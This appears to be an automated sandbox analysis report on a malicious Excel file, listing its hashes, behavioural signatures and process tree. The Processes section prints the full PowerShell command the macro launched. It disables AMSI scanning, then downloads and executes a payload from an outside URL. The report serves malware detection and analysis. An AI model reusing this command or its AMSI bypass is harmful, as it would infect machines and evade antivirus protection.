Analysis
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max time kernel
126s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
09-09-2024 16:07
Behavioral task
behavioral1
Sample
d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
Resource
win10v2004-20240802-en
General
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Target
d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
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Size
67KB
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MD5
d6a9edfd6995ab7c8a84ce70178ea18c
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SHA1
e3ec93b8e8cfc7e7aef66664e4e83299502c8922
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SHA256
e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10
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SHA512
eceaa6daa296d71a281a99ddcc0b1cad84475677f14ed4ee2d348207ea11784ec3a46b490795d311542b2fc9c78f79c4964a7d203eefffa7f6799be9a2f79a9b
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SSDEEP
1536:VF35Ht0SwPasau4mU+4pL5n5LZImZqY35qAOJl/YrLYz+WrNhZFGzE+cL2RnAeaM:VF35Ht0Sgasau4mU+4pL5n5LZImZqY3x
Malware Config
Extracted
http://soilex.co.ke/sundaymorning.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1768 1192 powershell.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 5 1768 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
EXCEL.EXEpowershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1192 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1768 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
EXCEL.EXEpid process 1192 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
EXCEL.EXEpid process 1192 EXCEL.EXE 1192 EXCEL.EXE 1192 EXCEL.EXE 1192 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1192 wrote to memory of 1768 1192 EXCEL.EXE powershell.exe PID 1192 wrote to memory of 1768 1192 EXCEL.EXE powershell.exe PID 1192 wrote to memory of 1768 1192 EXCEL.EXE powershell.exe PID 1192 wrote to memory of 1768 1192 EXCEL.EXE powershell.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768